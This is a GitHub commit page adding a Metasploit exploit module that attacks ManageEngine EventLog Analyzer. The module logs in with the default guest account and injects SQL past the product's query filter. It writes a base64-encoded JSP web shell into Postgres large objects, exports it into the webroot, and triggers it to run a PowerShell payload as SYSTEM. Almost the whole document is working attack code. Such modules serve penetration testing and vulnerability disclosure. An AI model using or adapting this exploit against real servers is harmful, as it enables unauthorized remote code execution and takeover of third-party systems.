Skip to content

Commit c99444a

Browse files
author
xistence
committed
ManageEngine EventLog Analyzer Remote Code Execution
1 parent 768dca5 commit c99444a

File tree

1 file changed

+219
-0
lines changed

1 file changed

+219
-0
lines changed
Lines changed: 219 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,219 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::Powershell
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "ManageEngine EventLog Analyzer Remote Code Execution",
18+
'Description' => %q{
19+
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer.
20+
Every authenticated user, including the default "guest" account can execute SQL queries directly
21+
on the underlaying Postres database server. The queries are executed as the "postgres" user
22+
which has full privileges and thus is able to write files to disk. This way a JSP payload
23+
can be uploaded and executed with SYSTEM privileges on the web server.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
29+
],
30+
'References' =>
31+
[
32+
[ 'EDB', '38173' ],
33+
],
34+
'Platform' => ['win'],
35+
'Arch' => ARCH_X86,
36+
'Targets' =>
37+
[
38+
['ManageEngine EventLog Analyzer', {}]
39+
],
40+
'Privileged' => true,
41+
'DisclosureDate' => "Jul 11 2015",
42+
'DefaultTarget' => 0))
43+
44+
register_options(
45+
[
46+
Opt::RPORT(8400),
47+
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
48+
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ]),
49+
OptInt.new('WAIT', [true, 'Seconds to wait for execution of the payload', 5]),
50+
], self.class)
51+
end
52+
53+
def uri
54+
return target_uri.path
55+
end
56+
57+
58+
def check
59+
# Check version
60+
vprint_status("#{peer} - Trying to detect ManageEngine EventLog Analyzer")
61+
62+
res = send_request_cgi({
63+
'method' => 'GET',
64+
'uri' => normalize_uri(uri, "event", "index3.do")
65+
})
66+
67+
if res && res.code == 200 && res.body =~ /ManageEngine EventLog Analyzer/
68+
return Exploit::CheckCode::Detected
69+
else
70+
return Exploit::CheckCode::Safe
71+
end
72+
end
73+
74+
75+
def sql_query( cookies, query )
76+
res = send_request_cgi({
77+
'method' => 'POST',
78+
'uri' => normalize_uri(uri, "event", "runQuery.do"),
79+
'cookie' => cookies,
80+
'vars_post' => {
81+
'execute' => 'true',
82+
'query' => query,
83+
}
84+
})
85+
86+
unless res && res.code == 200
87+
fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
88+
end
89+
90+
return res
91+
end
92+
93+
94+
def generate_jsp_payload(cmd)
95+
96+
decoder = rand_text_alphanumeric(4 + rand(32 - 4))
97+
decoded_bytes = rand_text_alphanumeric(4 + rand(32 - 4))
98+
cmd_array = rand_text_alphanumeric(4 + rand(32 - 4))
99+
jcode = "<%"
100+
jcode << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
101+
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
102+
jcode << "String [] #{cmd_array} = new String[3];\n"
103+
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
104+
jcode << "#{cmd_array}[1] = \"/c\";\n"
105+
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
106+
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
107+
jcode << "%>"
108+
109+
return jcode
110+
end
111+
112+
113+
def exploit
114+
115+
print_status("#{peer} - Retrieving JSESSION ID")
116+
res = send_request_cgi({
117+
'method' => 'GET',
118+
'uri' => normalize_uri(uri, "event", "index3.do"),
119+
})
120+
121+
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/
122+
jsessionid = $1
123+
print_status("#{peer} - JSESSION ID Retrieved [ #{jsessionid} ]")
124+
else
125+
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!")
126+
end
127+
128+
print_status("#{peer} - Access login page")
129+
res = send_request_cgi({
130+
'method' => 'POST',
131+
'uri' => normalize_uri(uri, "event", "j_security_check;jsessionid=#{jsessionid}"),
132+
'vars_post' => {
133+
'forChecking' => 'null',
134+
'j_username' => datastore['USERNAME'],
135+
'j_password' => datastore['PASSWORD'],
136+
'domains' => "Local Authentication\r\n",
137+
'loginButton' => 'Login',
138+
'optionValue' => 'hide'
139+
}
140+
})
141+
142+
if res && res.code == 302
143+
redirect = URI(res.headers['Location'])
144+
print_status("#{peer} - Location is [ #{redirect} ]")
145+
else
146+
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
147+
end
148+
149+
150+
# Follow redirection process
151+
print_status("#{peer} - Following redirection")
152+
res = send_request_cgi({
153+
'uri' => "#{redirect}",
154+
'method' => 'GET'
155+
})
156+
157+
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/
158+
cookies = res.get_cookies
159+
print_status("#{peer} - Logged in, new cookies retrieved [#{cookies}]")
160+
else
161+
fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!")
162+
end
163+
164+
165+
jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp'
166+
167+
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
168+
jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/\n/, '')
169+
170+
171+
print_status("#{peer} - Executing SQL queries")
172+
173+
# Remove large object in database, just in case it exists from previous exploit attempts
174+
sql = "SELECT lo_unlink(-1)"
175+
result = sql_query(cookies, sql)
176+
177+
# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
178+
sql = "SELECT lo_create(-1)"
179+
result = sql_query(cookies, sql)
180+
if result.body =~ /menuItemRow\">([0-9]+)/
181+
loid = $1
182+
else
183+
fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
184+
end
185+
186+
select_random = rand_text_numeric(2 + rand(6 - 2))
187+
# Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc.
188+
sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--"
189+
190+
191+
result = sql_query(cookies, sql)
192+
193+
# Export our large object id data into a WAR file
194+
sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');"
195+
196+
sql_query(cookies, sql)
197+
198+
# Remove our large object in the database
199+
sql = "SELECT lo_unlink(-1)"
200+
result = sql_query(cookies, sql)
201+
202+
register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}")
203+
204+
print_status("#{peer} - Executing JSP payload")
205+
res = send_request_cgi({
206+
'method' => 'GET',
207+
'uri' => normalize_uri(uri, jsp_name),
208+
})
209+
210+
sleep(datastore['WAIT'])
211+
212+
# If the server returns 200 we assume we uploaded and executed the payload file successfully
213+
if not res or res.code != 200
214+
fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
215+
end
216+
217+
end
218+
219+
end

0 commit comments

Comments
 (0)